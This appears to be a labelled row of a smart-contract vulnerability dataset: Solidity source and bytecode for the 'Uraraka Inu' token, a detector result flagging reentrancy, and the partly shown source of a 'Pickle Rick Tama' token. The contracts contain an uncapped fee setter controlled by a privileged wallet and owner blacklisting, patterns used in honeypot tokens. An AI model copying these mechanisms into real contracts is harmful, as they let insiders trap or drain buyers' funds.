mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0x8a57692C96F61b883FD86D874f02Feb40D90fBF6);
address payable private _feeAddrWallet2 = payable(0xB0a6075D3D8C9856fa5E4bec997dE2ba4993c104);
string private constant _name = "Uraraka Inu";
string private constant _symbol = "URARAKA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610323578063c3c8cd8014610343578063c9567bf914610358578063cfe81ba01461036d578063dd62ed3e1461038d57600080fd5b8063715018a614610276578063842b7c081461028b5780638da5cb5b146102ab57806395d89b41146102d3578063a9059cbb1461030357600080fd5b8063273123b7116100e7578063273123b7146101e3578063313ce567146102055780635932ead1146102215780636fc3eaec1461024157806370a082311461025657600080fd5b806306fdde0314610124578063095ea7b31461016a57806318160ddd1461019a57806323b872dd146101c357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a55726172616b6120496e7560a81b60208201525b604051610161919061187f565b60405180910390f35b34801561017657600080fd5b5061018a610185366004611706565b6103d3565b6040519015158152602001610161565b3480156101a657600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610161565b3480156101cf57600080fd5b5061018a6101de3660046116c5565b6103ea565b3480156101ef57600080fd5b506102036101fe366004611652565b610453565b005b34801561021157600080fd5b5060405160098152602001610161565b34801561022d57600080fd5b5061020361023c3660046117fe565b6104a7565b34801561024d57600080fd5b506102036104ef565b34801561026257600080fd5b506101b5610271366004611652565b61051c565b34801561028257600080fd5b5061020361053e565b34801561029757600080fd5b506102036102a6366004611838565b6105b2565b3480156102b757600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102df57600080fd5b5060408051808201909152600781526655524152414b4160c81b6020820152610154565b34801561030f57600080fd5b5061018a61031e366004611706565b610609565b34801561032f57600080fd5b5061020361033e366004611732565b610616565b34801561034f57600080fd5b506102036106ac565b34801561036457600080fd5b506102036106e2565b34801561037957600080fd5b50610203610388366004611838565b610aab565b34801561039957600080fd5b506101b56103a836600461168c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103e0338484610b02565b5060015b92915050565b60006103f7848484610c26565b610449843361044485604051806060016040528060288152602001611a6b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f09565b610b02565b5060019392505050565b6000546001600160a01b031633146104865760405162461bcd60e51b815260040161047d906118d4565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104d15760405162461bcd60e51b815260040161047d906118d4565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050f57600080fd5b4761051981610f43565b50565b6001600160a01b0381166000908152600260205260408120546103e490610fc8565b6000546001600160a01b031633146105685760405162461bcd60e51b815260040161047d906118d4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106045760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047d565b600a55565b60006103e0338484610c26565b6000546001600160a01b031633146106405760405162461bcd60e51b815260040161047d906118d4565b60005b81518110156106a85760016006600084848151811061066457610664611a1b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a0816119ea565b915050610643565b5050565b600c546001600160a01b0316336001600160a01b0316146106cc57600080fd5b60006106d73061051c565b90506105198161104c565b6000546001600160a01b0316331461070c5760405162461bcd60e51b815260040161047d906118d4565b600f54600160a01b900460ff16156107665760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a630826b033b2e3c9fd0803ce8000000610b02565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107df57600080fd5b505afa1580156107f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610817919061166f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085f57600080fd5b505afa158015610873573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610897919061166f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108df57600080fd5b505af11580156108f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610917919061166f565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109478161051c565b60008061095c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bf57600080fd5b505af11580156109d3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f89190611851565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7357600080fd5b505af1158015610a87573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a8919061181b565b600d546001600160a01b0316336001600160a01b031614610afd5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047d565b600b55565b6001600160a01b038316610b645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047d565b6001600160a01b038216610bc55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047d565b6001600160a01b038216610cec5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047d565b60008111610d4e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047d565b6000546001600160a01b03848116911614801590610d7a57506000546001600160a01b03838116911614155b15610ef9576001600160a01b03831660009081526006602052604090205460ff16158015610dc157506001600160a01b03821660009081526006602052604090205460ff16155b610dca57600080fd5b600f546001600160a01b038481169116148015610df55750600e546001600160a01b03838116911614155b8015610e1a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2f5750600f54600160b81b900460ff165b15610e8c57601054811115610e4357600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6757600080fd5b610e7242601e61197a565b6001600160a01b0383166000908152600760205260409020555b6000610e973061051c565b600f54909150600160a81b900460ff16158015610ec25750600f546001600160a01b03858116911614155b8015610ed75750600f54600160b01b900460ff165b15610ef757610ee58161104c565b478015610ef557610ef547610f43565b505b505b610f048383836111d5565b505050565b60008184841115610f2d5760405162461bcd60e51b815260040161047d919061187f565b506000610f3a84866119d3565b95945050505050565b600c546001600160a01b03166108fc610f5d8360026111e0565b6040518115909202916000818181858888f19350505050158015610f85573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610fa08360026111e0565b6040518115909202916000818181858888f193505050501580156106a8573d6000803e3d6000fd5b600060085482111561102f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047d565b6000611039611222565b905061104583826111e0565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109457611094611a1b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e857600080fd5b505afa1580156110fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611120919061166f565b8160018151811061113357611133611a1b565b6001600160a01b039283166020918202929092010152600e546111599130911684610b02565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611192908590600090869030904290600401611909565b600060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f04838383611245565b600061104583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061133c565b600080600061122f61136a565b909250905061123e82826111e0565b9250505090565b600080600080600080611257876113b2565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611289908761140f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b89086611451565b6001600160a01b0389166000908152600260205260409020556112da816114b0565b6112e484836114fa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132991815260200190565b60405180910390a3505050505050505050565b6000818361135d5760405162461bcd60e51b815260040161047d919061187f565b506000610f3a8486611992565b60085460009081906b033b2e3c9fd0803ce800000061138982826111e0565b8210156113a9575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cf8a600a54600b5461151e565b92509250925060006113df611222565b905060008060006113f28e878787611573565b919e509c509a509598509396509194505050505091939550919395565b600061104583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f09565b60008061145e838561197a565b9050838110156110455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047d565b60006114ba611222565b905060006114c883836115c3565b306000908152600260205260409020549091506114e59082611451565b30600090815260026020526040902055505050565b600854611507908361140f565b6008556009546115179082611451565b6009555050565b6000808080611538606461153289896115c3565b906111e0565b9050600061154b60646115328a896115c3565b905060006115638261155d8b8661140f565b9061140f565b9992985090965090945050505050565b600080808061158288866115c3565b9050600061159088876115c3565b9050600061159e88886115c3565b905060006115b08261155d868661140f565b939b939a50919850919650505050505050565b6000826115d2575060006103e4565b60006115de83856119b4565b9050826115eb8583611992565b146110455760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047d565b803561164d81611a47565b919050565b60006020828403121561166457600080fd5b813561104581611a47565b60006020828403121561168157600080fd5b815161104581611a47565b6000806040838503121561169f57600080fd5b82356116aa81611a47565b915060208301356116ba81611a47565b809150509250929050565b6000806000606084860312156116da57600080fd5b83356116e581611a47565b925060208401356116f581611a47565b929592945050506040919091013590565b6000806040838503121561171957600080fd5b823561172481611a47565b946020939093013593505050565b6000602080838503121561174557600080fd5b823567ffffffffffffffff8082111561175d57600080fd5b818501915085601f83011261177157600080fd5b81358181111561178357611783611a31565b8060051b604051601f19603f830116810181811085821117156117a8576117a8611a31565b604052828152858101935084860182860187018a10156117c757600080fd5b600095505b838610156117f1576117dd81611642565b8552600195909501949386019386016117cc565b5098975050505050505050565b60006020828403121561181057600080fd5b813561104581611a5c565b60006020828403121561182d57600080fd5b815161104581611a5c565b60006020828403121561184a57600080fd5b5035919050565b60008060006060848603121561186657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118ac57858101830151858201604001528201611890565b818111156118be576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119595784516001600160a01b031683529383019391830191600101611934565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198d5761198d611a05565b500190565b6000826119af57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119ce576119ce611a05565b500290565b6000828210156119e5576119e5611a05565b500390565b60006000198214156119fe576119fe611a05565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051957600080fd5b801515811461051957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220665cfbe3b9d7791c21d8edea0308261d59fb7b9d0ef8376697d92cb3088a76d264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,424 |
0x66b7444cf1b909990672547a59cf475ae7e28285
|
/**
*Submitted for verification at Etherscan.io on 2022-03-06
*/
// SPDX-License-Identifier: Unlicensed
// Join us now!
// Telegram: https://t.me/picklericktama
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract PickleRick is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private constant _MAX = ~uint256(0);
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
string private constant _name = "Pickle Rick Tama";
string private constant _symbol = "PickleRick";
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
require(!_isBot[to]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(4);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (3 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 12, "not larger than 12%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
